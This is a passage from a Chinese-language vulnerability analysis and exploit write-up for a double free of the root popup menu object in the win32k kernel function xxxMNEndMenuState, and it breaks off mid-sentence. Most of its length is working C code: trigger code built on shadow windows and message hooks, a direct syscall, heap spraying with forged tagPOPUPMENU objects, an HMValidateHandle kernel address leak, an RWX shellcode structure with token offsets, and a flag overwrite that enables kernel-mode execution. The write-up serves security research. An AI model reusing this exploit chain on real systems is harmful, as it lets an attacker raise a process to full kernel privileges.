win32k!xxxMNEndMenuState+0x50:
93a96022 8b4620 mov eax,dword ptr [esi+20h]
93a96025 898704010000 mov dword ptr [edi+104h],eax
kd> r eax
eax=00000000
函数 xxxMNEndMenuState 重置线程信息结构体 pMenuState 成员域
然而在菜单弹出期间,系统在各个追踪弹出菜单的函数或系统服务中都是通过线程信息对象的成员域 pMenuState
指针来获取菜单状态的,如果该成员域被赋值为其他值,就将导致触发漏洞的途径中某个节点直接失败而返回,造成漏洞利用失败。因此想要重新使线程执行流触达 xxxMNEndMenuState
函数中释放当前 tagPOPUPMENU
对象的位置以实现对目标漏洞的触发,则必须在系统重置线程信息对象的成员域 pMenuState
之前的时机进行。
在函数释放成员域 pGlobalPopupMenu
指向的根弹出菜单对象和重置线程信息对象的成员域 pMenuState
之间,只有两个函数调用:
UnlockMFMWFPWindow(&menuState->uButtonDownHitArea);
UnlockMFMWFPWindow(&menuState->uDraggingHitArea);
菜单状态结构体的成员域 uButtonDownHitArea
和 uDraggingHitArea
存储当前鼠标点击坐标位于的窗口对象指针和鼠标拖拽坐标位于的窗口对象指针。函数通过调用 UnlockMFMWFPWindow
函数解除对这两个成员域的赋值锁。
函数 UnlockMFMWFPWindow
在对目标参数进行简单校验之后调用 HMAssignmentUnlock
函数执行具体的解锁操作。
函数 xxxMNEndMenuState 的简要执行流
聚焦 uButtonDownHitArea
成员域,该成员域存储当前鼠标按下的坐标区域所属的窗口对象地址,当鼠标按键抬起时系统解锁并置零该成员域。因此,需要在系统处理鼠标按下消息期间,用户进程发起菜单终止的操作,以使执行流进入函数 xxxMNEndMenuState
并执行到解锁成员域 uButtonDownHitArea
的位置时,该成员域中存储合法的窗口对象的地址。
系统在销毁该窗口对象期间,会同时销毁与该窗口对象关联的阴影窗口对象。阴影窗口对象不带有专门的窗口消息处理函数,因此可以在用户进程中将窗口对象的消息处理函数成员域篡改为由用户进程自定义的消息处理函数,在自定义函数中,再次触发菜单终止的任务,致使漏洞成功触发。
0x3 触发
接下来通过构造验证代码在系统调用 xxxMNEndMenuState
函数释放根弹出菜单对象之后并在重置当前线程信息对象的成员域 pMenuState
之前,使线程的执行流再次进入 xxxMNEndMenuState
函数调用,致使触发对目标成员域 pGlobalPopupMenu
指向对象的重复释放。
在用户进程中首先为验证代码创建单独的线程,利用代码的主体任务都在新线程的上下文中执行。在原有的主线程中监听全局变量 bDoneExploit
是否被赋值以等待下一步操作。
验证代码主函数
验证代码首先通过调用 CreatePopupMenu
等函数创建两个非模态的可弹出的菜单对象。由于模态的菜单将导致线程在内核中进入函数 xxxMNLoop
的循环等待状态,导致无法在同一线程中执行其他操作,对漏洞触发造成难度,因此我们选择非模态的菜单类型。这里的可弹出的菜单对象不是前面提到的 tagPOPUPMENU
类型的对象,而是带有 MFISPOPUP
标志位状态的 tagMENU
对象。结构体 tagMENU
是菜单对象的实体,而 tagPOPUPMENU
是用来描述菜单对象实体的弹出状态的对象,在菜单对象实际弹出时创建、菜单对象结束弹出状态时销毁,需要注意两者的区别。
接下来通过 AppendMenuA
为两个菜单添加菜单项,并使第二个成为第一个的子菜单。
LPCSTR szMenuItem = "item";
MENUINFO mi = { 0 };
mi.cbSize = sizeof(mi);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
hpopupMenu[0] = CreatePopupMenu();
hpopupMenu[1] = CreatePopupMenu();
SetMenuInfo(hpopupMenu[0], &mi);
SetMenuInfo(hpopupMenu[1], &mi);
AppendMenuA(hpopupMenu[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hpopupMenu[1], szMenuItem);
AppendMenuA(hpopupMenu[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem);
创建并关联两个菜单对象的验证代码
接下来创建一个普通的窗口对象 hWindowMain
以在后续菜单弹出时作为弹出菜单的拥有者窗口对象。如果编译时选择 GUI 界面程序,则获取默认的窗口对象句柄即可,这一步就不需要创建额外的窗口对象了。
WNDCLASSEXW wndClass = { 0 };
wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc = DefWindowProcW;
wndClass.cbWndExtra = 0;
wndClass.hInstance = GetModuleHandleA(NULL);
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName = L"WNDCLASSMAIN";
RegisterClassExW(&wndClass);
hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
L"WNDCLASSMAIN",
NULL,
WS_VISIBLE,
0,
0,
1,
1,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
创建用来拥有弹出菜单的主窗口对象的验证代码
通过函数 SetWindowsHookExW
创建类型为 WH_CALLWNDPROC
关联当前线程的挂钩程序,并通过 SetWinEventHook
创建范围包含 EVENT_SYSTEM_MENUPOPUPSTART
的关联当前进程和线程的事件通知消息处理程序。前面已经提到,设置 WH_CALLWNDPROC
类型的挂钩程序会在每次线程将消息发送给窗口对象之前调用。事件通知 EVENT_SYSTEM_MENUPOPUPSTART
表示目标弹出菜单已被显示在屏幕上。
SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
GetModuleHandleA(NULL),
GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
GetModuleHandleA(NULL),
xxWindowEventProc,
GetCurrentProcessId(),
GetCurrentThreadId(),
0);
创建消息挂钩和事件通知程序的验证代码
验证代码调用函数 TrackPopupMenuEx
使第一个菜单作为根菜单在创建的窗口中弹出。
TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL);
调用函数 TrackPopupMenuEx 的验证代码
接着通过调用 GetMessage
和 DispatchMessage
等函数在当前线程中实现消息循环。
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
实现消息循环的验证代码
在用户进程中验证代码调用函数 TrackPopupMenuEx
使执行流在内核中进入 xxxTrackPopupMenuEx
函数。
验证代码主函数执行逻辑
自定义挂钩处理函数
在函数 TrackPopupMenuEx
执行期间,系统调用函数 xxxCreateWindowEx
创建新的菜单类型的窗口对象。就像前面的章节提到的那样,创建窗口对象成功时,函数向该窗口对象发送 WM_NCCREATE
消息。在函数 xxxSendMessageTimeout
调用对象指定的消息处理程序之前,还会调用 xxxCallHook
函数用来调用先前由用户进程设定的 WH_CALLWNDPROC
类型的挂钩处理程序。这时执行流会回到我们先前在验证代码中定义的挂钩处理函数中。
在自定义挂钩处理函数 xxWindowHookProc
中,我们根据参数 lParam
指向 tagCWPSTRUCT
对象的成员域 message
判断当前处理的消息是否为 WM_NCCREATE
消息,不是的情况则直接忽略。接下来根据窗口句柄获取窗口对象的类名称,当类名称为 #32768
时,表示这是创建的菜单窗口对象,因此将该句柄记录下来以备后续引用。
LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
static HWND hwndMenuHit = 0;
if (cwp->message != WM_NCCREATE)
{
return CallNextHookEx(0, code, wParam, lParam);
}
WCHAR szTemp[0x20] = { 0 };
GetClassNameW(cwp->hwnd, szTemp, 0x14);
if (!wcscmp(szTemp, L"#32768"))
{
hwndMenuHit = cwp->hwnd;
}
return CallNextHookEx(0, code, wParam, lParam);
}
在挂钩处理程序中记录 #32768 窗口的句柄
在目标菜单窗口对象创建完成时,系统在内核中设置窗口对象的位置坐标并使其显示在屏幕上。在这期间,系统为该窗口对象创建关联的类型为 SysShadow
的阴影窗口对象。同样地,创建阴影窗口对象并发送 WM_NCCREATE
消息时,系统也会调用 xxxCallHook
函数来分发调用挂钩程序。
前面章节的“终止菜单”部分的分析已知,在函数 xxxEndMenuLoop
调用期间,系统对每个弹出菜单窗口对象都调用了两次 xxxRemoveShadow
函数。这将导致在到达漏洞触发位置之前阴影窗口被提前取消关联和销毁。因此我们要想办法为成员域 uButtonDownHitArea
存储的目标菜单窗口对象创建并关联至少 3 个阴影窗口对象。
回到验证代码的自定义挂钩处理函数中,在判断窗口类名称的位置增加判断是否为 SysShadow
的情况。如果命中这种情况,我们通过调用函数 SetWindowPos
对先前保存句柄指向的类名称为 #32768
的窗口对象依次设置 SWP_HIDEWINDOW
和 SWP_SHOWWINDOW
状态标志,使窗口先隐藏后显示,再次触发内核中添加阴影窗口关联的逻辑以创建新的阴影窗口对象。
在执行流进入自定义挂钩处理函数的 SysShadow
处理逻辑时,在内核中正处于创建阴影窗口的 xxxCreateWindowEx
执行期间,此时创建的阴影窗口对象和原菜单窗口对象还没有关联起来,它们的关联关系尚未被插入 gpShadowFirst
链表中。此时对目标菜单对象调用 SetWindowPos
以设置 SWP_SHOWWINDOW
状态标志,将导致系统对目标菜单窗口创建并关联多个阴影窗口对象,后创建的阴影窗口对象将被先插入 gpShadowFirst
链表中,从而位于链表中更靠后的位置。
多阴影窗口关联的插入链表和位置顺序逻辑
在自定义挂钩处理函数的 SysShadow
处理逻辑中,对进入次数进行计数,对前 2 次进入的情况调用函数 SetWindowPos
以触发创建新的阴影窗口关联的逻辑;到第 3 次进入的情况时,我们通过调用函数 SetWindowLong
将目标阴影窗口对象的消息处理函数篡改为自定义的阴影窗口消息处理函数。
if (!wcscmp(szTemp, L"SysShadow") && hwndMenuHit != NULL)
{
if (++iShadowCount == 3)
{
SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxShadowWindowProc);
}
else
{
SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_HIDEWINDOW);
SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_SHOWWINDOW);
}
}
对目标菜单窗口对象创建多阴影窗口关联的验证代码
一切处理妥当后,需设置相关的全局标志以阻止执行流重复进入该自定义挂钩处理函数致使上面的逻辑代码被多次执行。
创建多个阴影窗口对象的执行逻辑
自定义事件通知处理函数
在内核函数 xxxTrackPopupMenuEx
中处理完成对根弹出菜单窗口对象的创建时,系统调用 xxxWindowEvent
函数以发送代表“菜单弹出开始”的 EVENT_SYSTEM_MENUPOPUPSTART
事件通知。这将进入我们先前设置的自定义事件通知处理函数 xxWindowEventProc
中。每当进入该事件通知处理程序时,代表当前新的弹出菜单已显示在屏幕中。
在验证代码的自定义事件通知处理函数 xxWindowEventProc
中进行计数,当第 1 次进入函数时,表示根弹出菜单已在屏幕中显示,因此通过调用函数 SendMessage
向参数句柄 hwnd
指向的菜单窗口对象发送 WM_LBUTTONDOWN
鼠标左键按下的消息,并在参数 lParam
传入按下的相对坐标。在 32 位系统中,参数 lParam
是一个 DWORD
类型的数值,其高低 16 位分别代表横坐标和纵坐标的相对位置,传入的数值需要确保相对坐标位于先前创建菜单时设定的子菜单项的位置。参数 wParam
设定用户按下的是左键还是右键,设置为 1
表示 MK_LBUTTON
左键。
在内核中消息处理函数 xxxMenuWindowProc
接收并处理该消息,这将导致最终调用到函数 xxxMNOpenHierarchy
以创建新弹出的子菜单的相关对象。类似地,在处理完成新的子菜单在屏幕中的显示时,函数 xxxMNOpenHierarchy
调用函数 xxxWindowEvent
发送 EVENT_SYSTEM_MENUPOPUPSTART
事件通知。这使得执行流再次进入自定义事件通知处理函数 xxWindowEventProc
中。
当第 2 次进入函数 xxWindowEventProc
时,表示弹出的子菜单已在屏幕中显示。此时验证代码调用函数 SendMessage
向目标子菜单窗口对象发送 MN_ENDMENU
菜单终止的消息,这将导致执行流最终进入内核函数 xxxMNEndMenuState
中。
VOID CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
)
{
if (++iMenuCreated >= 2)
{
SendMessageW(hwnd, MN_ENDMENU, 0, 0);
}
else
{
SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2)
}
}
事件通知处理函数发送消息的验证代码
执行流进入函数 xxxMNEndMenuState
时,线程关联的菜单状态对象成员域 uButtonDownHitArea
存储最后处理鼠标按下消息时按下坐标位于的窗口对象(即在先前被创建并关联了 3 个阴影窗口对象的菜单窗口对象)的指针。位于 gShadowFirst
链表中与该菜单窗口对象关联的最开始的两个阴影窗口已在函数 xxxEndMenuLoop
执行期间被解除关联并销毁,此时链表中仍存在与该菜单窗口对象关联的最后 1 个阴影窗口关联节点,该阴影窗口对象就是当时被篡改了消息处理函数的阴影窗口对象。
函数在 MNFreePopup
中释放当前根弹出菜单对象之后调用函数 UnlockMFMWFPWindow
以解锁成员域 uButtonDownHitArea
存储的目标菜单窗口对象时,不出意外的话,此时该菜单窗口对象的锁计数归零,因此窗口管理器将调用销毁函数 xxxDestroyWindow
以执行销毁任务。这将解除关联并销毁第 3 个关联的阴影窗口对象,并使执行流进入先前篡改的自定义消息处理函数中。
阴影窗口自定义消息处理函数
在验证代码的阴影窗口自定义消息处理函数 xxShadowWindowProc
中,判断消息参数是否为 WM_NCDESTROY
类型。如果是的话,则在此直接调用 NtUserMNDragLeave
系统服务。
ULONG_PTR
xxSyscall(UINT num, ULONG_PTR param1, ULONG_PTR param2)
{
__asm { mov eax, num };
__asm { int 2eh };
}
CONST UINT num_NtUserMNDragLeave = 0x11EC;
LRESULT WINAPI
xxShadowWindowProc(
_In_ HWND hwnd,
_In_ UINT msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (msg == WM_NCDESTROY)
{
xxSyscall(num_NtUserMNDragLeave, 0, 0);
}
return DefWindowProcW(hwnd, msg, wParam, lParam);
}
阴影窗口自定义消息处理函数的验证代码
函数 NtUserMNDragLeave
原本用于结束菜单的拖拽状态。在该函数执行期间,系统在进行一系列的判断和调用之后,最终在函数 xxxUnlockMenuState
中调用 xxxMNEndMenuState
函数:
bZeroLock = menuState->dwLockCount-- == 1;
if ( bZeroLock && ExitMenuLoop(menuState, menuState->pGlobalPopupMenu) )
{
xxxMNEndMenuState(1);
result = 1;
}
函数 xxxUnlockMenuState 调用 xxxMNEndMenuState 函数
这导致重新触达漏洞所在的位置并致使菜单状态对象的成员域 pGlobalPopupMenu
指向的根弹出菜单对象被重复释放,导致系统 BSOD 的发生。
根弹出菜单对象重复释放导致系统 BSOD 的发生
0x4 利用
前面的章节对漏洞原理进行分析并构造了简单的漏洞触发验证代码。在本章节中将利用该漏洞的触发,通过循序渐进的方式构造利用代码,最终实现利用和提权的目的。
初始化利用数据
在利用代码中自定义结构体 SHELLCODE
以存储与利用相关的数据:
typedef struct _SHELLCODE {
DWORD reserved;
DWORD pid;
DWORD off_CLS_lpszMenuName;
DWORD off_THREADINFO_ppi;
DWORD off_EPROCESS_ActiveLink;
DWORD off_EPROCESS_Token;
PVOID tagCLS[0x100];
BYTE pfnWindProc[];
} SHELLCODE, *PSHELLCODE;
自定义的 SHELLCODE 结构体定义
在利用代码的早期阶段在用户进程中分配完整内存页的 RWX
内存块,并初始化相关成员域,将 ShellCode 函数代码拷贝到从成员域 pfnWindProc
起始的内存地址。
pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pvShellCode == NULL)
{
return 0;
}
ZeroMemory(pvShellCode, 0x1000);
pvShellCode->pid = GetCurrentProcessId();
pvShellCode->off_CLS_lpszMenuName = 0x050;
pvShellCode->off_THREADINFO_ppi = 0x0b8;
pvShellCode->off_EPROCESS_ActiveLink = 0x0b8;
pvShellCode->off_EPROCESS_Token = 0x0f8;
CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, sizeof(xxPayloadWindProc));
初始化分配的 SHELLCODE 结构体内存区域
成员域 pfnWindProc
起始的内存区域将最终作为实际 ShellCode 函数代码在内核上下文执行。
伪造根弹出菜单对象
在用户进程验证代码的阴影窗口自定义消息处理函数 xxShadowWindowProc
执行期间,需要通过相关函数在内核中分配与 tagPOPUPMENU
结构体相同大小的缓冲区以占位刚释放的内存空隙,伪造新的弹出菜单对象,使系统误认为弹出菜单对象仍旧正常存在于内核中。
这在利用代码中将通过调用函数 SetClassLong
对大量的窗口对象设置 MENUNAME
字段的方式实现。这些窗口对象需要在首次调用函数 TrackPopupMenuEx
之前完成创建和初始化。
回到验证代码调用函数 TrackPopupMenuEx
之前创建菜单对象的位置,在此时机增加调用函数 CreateWindowEx
以创建大量窗口对象,并为每个窗口对象注册单独的窗口类。
for (INT i = 0; i < 0x100; ++i)
{
WNDCLASSEXW Class = { 0 };
WCHAR szTemp[20] = { 0 };
HWND hwnd = NULL;
wsprintfW(szTemp, L"%x-%d", rand(), i);
Class.cbSize = sizeof(WNDCLASSEXW);
Class.lpfnWndProc = DefWindowProcW;
Class.cbWndExtra = 0;
Class.hInstance = GetModuleHandleA(NULL);
Class.lpszMenuName = NULL;
Class.lpszClassName = szTemp;
RegisterClassExW(&Class);
hwnd = CreateWindowExW(0, szTemp, NULL, WS_OVERLAPPED,
0,
0,
0,
0,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
hWindowList[iWindowCount++] = hwnd;
}
创建大量普通窗口对象的利用代码
接下来在验证代码的自定义阴影窗口消息处理函数 xxShadowWindowProc
中调用系统服务 NtUserMNDragLeave
之前,增加对前面批量创建的普通窗口对象设置 GCL_MENUNAME
的调用:
DWORD dwPopupFake[0xD] = { 0 };
dwPopupFake[0x0] = 0x00098208; //->flags
dwPopupFake[0x1] = 0xDDDDDDDD; //->spwndNotify
dwPopupFake[0x2] = 0xDDDDDDDD; //->spwndPopupMenu
dwPopupFake[0x3] = 0xDDDDDDDD; //->spwndNextPopup
dwPopupFake[0x4] = 0xDDDDDDDD; //->spwndPrevPopup
dwPopupFake[0x5] = 0xDDDDDDDD; //->spmenu
dwPopupFake[0x6] = 0xDDDDDDDD; //->spmenuAlternate
dwPopupFake[0x7] = 0xDDDDDDDD; //->spwndActivePopup
dwPopupFake[0x8] = 0xDDDDDDDD; //->ppopupmenuRoot
dwPopupFake[0x9] = 0xDDDDDDDD; //->ppmDelayedFree
dwPopupFake[0xA] = 0xDDDDDDDD; //->posSelectedItem
dwPopupFake[0xB] = 0xDDDDDDDD; //->posDropped
dwPopupFake[0xC] = 0;
for (UINT i = 0; i < iWindowCount; ++i)
{
SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
}
为普通窗口对象设置 MENUNAME 字段的利用代码
由于 MENUNAME
字段属于 WCHAR
字符串格式,因此在初始化缓冲区时需要将所有数值设置为不包含连续 2 字节为 0
的情况。通过调用函数 SetClassLongW
为目标窗口对象设置 MENUNAME
字段时,系统最终在内核中为窗口对象所属的窗口类 tagCLS
对象的成员域 lpszMenuName
分配并设置 UNICODE
字符串缓冲区。
由于成员域 lpszMenuName
指向的缓冲区和弹出菜单 tagPOPUPMENU
对象的缓冲区同样是进程配额的内存块,因此两者所占用的额外内存大小相同,只需要将在利用代码中为每个窗口对象设置的 MENUNAME
缓冲区长度设置为与 tagPOPUPMENU
大小相同的长度,那么通常情况下在内核中总有一个窗口对象的 MENUNAME
缓冲区被分配在先前释放的根弹出菜单对象的内存区域中,成为伪造的根弹出菜单 tagPOPUPMENU
对象。
通过设置 GCL_MENUNAME 占用原根弹出菜单对象内存区域
为使在稍后位置调用的系统服务 NtUserMNDragLeave
能依据伪造的根弹出菜单对象再次进入函数 xxxMNEndMenuState
调用,需要将伪造对象的成员域 flags
进行稍微设置,将关键标志位置位,其余标志位置零。
kd> dt win32k!tagPOPUPMENU 0141fb44
[...]
+0x000 fIsTrackPopup : 0y1
[...]
+0x000 fFirstClick : 0y1
[...]
+0x000 fDestroyed : 0y1
+0x000 fDelayedFree : 0y1
[...]
+0x000 fInCancel : 0y1
[...]
+0x004 spwndNotify : 0xdddddddd tagWND
+0x008 spwndPopupMenu : 0xdddddddd tagWND
+0x00c spwndNextPopup : 0xdddddddd tagWND
+0x010 spwndPrevPopup : 0xdddddddd tagWND
+0x014 spmenu : 0xdddddddd tagMENU
+0x018 spmenuAlternate : 0xdddddddd tagMENU
+0x01c spwndActivePopup : 0xdddddddd tagWND
+0x020 ppopupmenuRoot : 0xdddddddd tagPOPUPMENU
+0x024 ppmDelayedFree : 0xdddddddd tagPOPUPMENU
+0x028 posSelectedItem : 0xdddddddd
+0x02c posDropped : 0xdddddddd
伪造的 tagPOPUPMENU 对象的成员域数据
伪造弹出菜单对象成员域
前面伪造的 tagPOPUPMENU
对象重新占用了先前释放的根弹出菜单对象的内存区域,并且其各个成员域在利用代码中分配时可以实施完全控制。但前面并未对其各个指针成员域进行有效性设置,这样一来在函数 xxxMNEndMenuState
中解锁各个指针成员域指向的对象时仍旧会触发缺页异常等错误。接下来通过对指针成员域进行设置,使其指向有效的内存空间,以使内核逻辑能够正常向后执行。
回到验证代码中创建作为弹出菜单拥有者的窗口对象 hWindowMain
的位置,增加创建新的用作利用载体的普通窗口对象 hWindowHunt
的代码:
WNDCLASSEXW wndClass = { 0 };
wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc = DefWindowProcW;
wndClass.cbWndExtra = 0x200;
wndClass.hInstance = GetModuleHandleA(NULL);
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName = L"WNDCLASSHUNT";
RegisterClassExW(&wndClass);
hWindowHunt = CreateWindowExW(0x00,
L"WNDCLASSHUNT",
NULL,
WS_OVERLAPPED,
0,
0,
1,
1,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
创建用来作为利用载体的窗口对象的利用代码
载体窗口对象 hWindowHunt
具有 0x200
字节大小的扩展区域,扩展区域紧随基础的 tagWND
对象其后,在利用代码中将用来伪造各种相关的内核用户对象,以使系统重新执行 xxxMNEndMenuState
期间,执行流能正常稳定地执行。
接下来通过 HMValidateHandle
内核对象地址泄露技术获取载体窗口对象的 tagWND
内核地址。窗口对象 tagWND
的头部结构是一个 THRDESKHEAD
成员结构体对象,完整的结构体定义如下:
kd> dt win32k!_THRDESKHEAD
+0x000 h : Ptr32 Void
+0x004 cLockObj : Uint4B
+0x008 pti : Ptr32 tagTHREADINFO
+0x00c rpdesk : Ptr32 tagDESKTOP
+0x010 pSelf : Ptr32 UChar
结构体 THRDESKHEAD 的定义
其中成员域 pSelf
指向所属用户对象的内核首地址。因此通过该指针加上 tagWND
结构体的大小定位到当前窗口对象的扩展区域的内核地址。
根据代码分析,函数 xxxMNEndMenuState
在执行的初始阶段调用函数 MNEndMenuStateNotify
用来在通知窗口对象所属线程和当前菜单状态所属线程不同的情况下,清理通知线程的线程信息对象的成员域 pMenuState
数值。然而不幸的是,由于伪造的 tagPOPUPMENU
对象已覆盖原有数据,因此需要继续伪造包括通知窗口对象在内的其他内核用户对象。
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
PBYTE pbExtra = head->deskhead.pSelf + 0xb0 + 4;
pvHeadFake = pbExtra + 0x44;
for (UINT x = 0; x < 0x7F; x++) // 0x04~0x1FC
{
SetWindowLongW(hWindowHunt, sizeof(DWORD) * (x + 1), (LONG)pbExtra);
}
PVOID pti = head->thread.pti;
SetWindowLongW(hWindowHunt, 0x50, (LONG)pti); // pti
填充载体窗口对象扩展区域的利用代码
将载体窗口对象的扩展区域预留 4
字节,将剩余 0x1FC
字节的内存区域全部填充为扩展区域 +0x04
字节偏移的地址,填充的数值将作为各种伪造对象的句柄、引用计数或对象指针成员域。
接下来将剩余内存区域 +0x44
字节偏移的内存数据作为伪造的内核用户对象头部结构,其地址被作为伪造的根弹出菜单 tagPOPUPMENU
对象的各个指针成员域的值。在利用代码的自定义阴影窗口消息处理函数 xxxShadowWindowProc
中替换原来的初始化 MENUNAME
字段缓冲区的利用代码:
DWORD dwPopupFake[0xD] = { 0 };
dwPopupFake[0x0] = (DWORD)0x00098208; //->flags
dwPopupFake[0x1] = (DWORD)pvHeadFake; //->spwndNotify
dwPopupFake[0x2] = (DWORD)pvHeadFake; //->spwndPopupMenu
dwPopupFake[0x3] = (DWORD)pvHeadFake; //->spwndNextPopup
dwPopupFake[0x4] = (DWORD)pvHeadFake; //->spwndPrevPopup
dwPopupFake[0x5] = (DWORD)pvHeadFake; //->spmenu
dwPopupFake[0x6] = (DWORD)pvHeadFake; //->spmenuAlternate
dwPopupFake[0x7] = (DWORD)pvHeadFake; //->spwndActivePopup
dwPopupFake[0x8] = (DWORD)0xFFFFFFFF; //->ppopupmenuRoot
dwPopupFake[0x9] = (DWORD)pvHeadFake; //->ppmDelayedFree
dwPopupFake[0xA] = (DWORD)0xFFFFFFFF; //->posSelectedItem
dwPopupFake[0xB] = (DWORD)pvHeadFake; //->posDropped
dwPopupFake[0xC] = (DWORD)0;
更新的初始化 MENUNAME 缓冲区的利用代码
其中例外的成员域 ppopupmenuRoot
和 posSelectedItem
被填充为 0xFFFFFFFF
以防止执行流误入歧途。由于伪造对象头部 pvHeadFake
指向的内存区域对应的成员域 cLockObj
具有极大的数值,因此在内核中各个针对该伪造对象的解锁和解引用函数调用都不足以使系统为其调用销毁对象的函数,因此异常将不会发生。
在函数 xxxMNEndMenuState
第二次执行期间,在原位置重新分配的伪造根弹出菜单 tagPOPUPMENU
对象在函数 MNFreePopup
中释放。
内核地址泄露技术
本分析中使用了 HMValidateHandle
内核地址泄露技术。在 user32
模块中,在操作一些用户对象时,为了提升效率以便于直接在用户模式获取目标用户对象的数据,系统提供了未导出的函数 HMValidateHandle
以供模块内部使用。
这个函数接收用户句柄和对象类型作为参数,在内部对参数进行验证,验证通过时则返回目标对象在当前进程桌面堆中映射的地址。该函数并未导出,但在一些导出函数中调用,例如 IsMenu
函数。该函数验证通过参数传入的句柄是否为菜单句柄。函数通过将句柄值和菜单类型枚举 2
(TYPE_MENU
) 传入函数 HMValidateHandle
调用,并判断函数返回值是否不为空,并返回判断的结果。
.text:76D76F0E 8B FF mov edi, edi
.text:76D76F10 55 push ebp
.text:76D76F11 8B EC mov ebp, esp
.text:76D76F13 8B 4D 08 mov ecx, [ebp+hMenu]
.text:76D76F16 B2 02 mov dl, 2
.text:76D76F18 E8 73 5B FE FF call @HMValidateHandle@8 ; HMValidateHandle(x,x)
.text:76D76F1D F7 D8 neg eax
.text:76D76F1F 1B C0 sbb eax, eax
.text:76D76F21 F7 D8 neg eax
.text:76D76F23 5D pop ebp
.text:76D76F24 C2 04 00 retn 4
函数 IsMenu 的指令片段
因此我们可以通过硬编码匹配的方式,从 user32
模块的导出函数 IsMenu
中查找并计算函数 HMValidateHandle
的地址。
static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL;
VOID
xxGetHMValidateHandle(VOID)
{
HMODULE hModule = LoadLibraryA("USER32.DLL");
PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
PBYTE Address = NULL;
for (INT i = 0; i < 0x30; i++)
{
if (*(WORD *)(i + pfnIsMenu) != 0x02B2)
{
continue;
}
i += 2;
if (*(BYTE *)(i + pfnIsMenu) != 0xE8)
{
continue;
}
Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu;
Address = Address + i + 5;
pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address;
break;
}
}
查找并计算 HMValidateHandle 函数地址的利用代码
目标函数查找到之后,在利用代码中需要获取窗口对象等类型用户对象的地址的时机调用该函数并传入对象句柄,调用成功时则返回目标对象在用户进程桌面堆中的映射地址。
#define TYPE_WINDOW 1
PVOID
xxHMValidateHandleEx(HWND hwnd)
{
return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW);
}
获取目标窗口对象在桌面堆中的映射地址的利用代码
窗口对象的头部结构是一个 THRDESKHEAD
成员结构体对象,其中存在子成员域 pSelf
指向所属窗口对象的内核首地址。
内核模式代码执行
成员标志位 bServerSideWindowProc
位于 tagWND
对象标志成员域的第 18
比特位,其之前的两个标志位是 bDialogWindow
和 bHasCreatestructName
标志位:
kd> dt win32k!tagWND
+0x000 head : _THRDESKHEAD
+0x014 state : Uint4B
[...]
+0x014 bDialogWindow : Pos 16, 1 Bit
+0x014 bHasCreatestructName : Pos 17, 1 Bit
+0x014 bServerSideWindowProc : Pos 18, 1 Bit
标志位 bDialogWindow
的位置是 bServerSideWindowProc
所在字节的起始比特位。通过研究发现,在创建普通窗口对象时,如果样式参数 dwStyle
和扩展样式参数 dwExStyle
都传值为 0
默认值,那么在内核中成员域 bDialogWindow
和 bHasCreatestructName
都将未被置位。因此可以借助这个特性,实现对目标关键标志位的置位。
在利用代码中填充载体窗口对象的扩展区域内存期间,增加通过内核地址泄露技术获取窗口对象成员域 bDialogWindow
的地址的调用:
pvAddrFlags = *(PBYTE *)((PBYTE)xxHMValidateHandle(hWindowHunt) + 0x10) + 0x16;
接着将先前初始化的结构体 SHELLCODE
对象的成员域 pfnWindProc
起始地址设置为载体窗口对象 hWindowHunt
的消息处理函数:
SetWindowLongW(hWindowHunt, GWL_WNDPROC, (LONG)pvShellCode->pfnWindProc);
在利用代码的自定义阴影窗口消息处理函数 xxxShadowWindowProc
中初始化 MENUNAME
字段缓冲区数值时,将成员标志位 bDialogWindow
的地址减 4
字节偏移的地址作为伪造 tagPOPUPMENU
对象的某个窗口对象指针成员域(例如 spwndPrevPopup
成员域)的数值,使前面提到的三个标志位正好位于该指针成员域指向的“窗口对象”的锁计数成员域 cLockObj
的最低 3 比特位:
dwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopup
在函数 xxxMNEndMenuState
执行期间,系统为根弹出菜单对象的成员域 spwndPrevPopup
调用函数 HMAssignmentUnlock
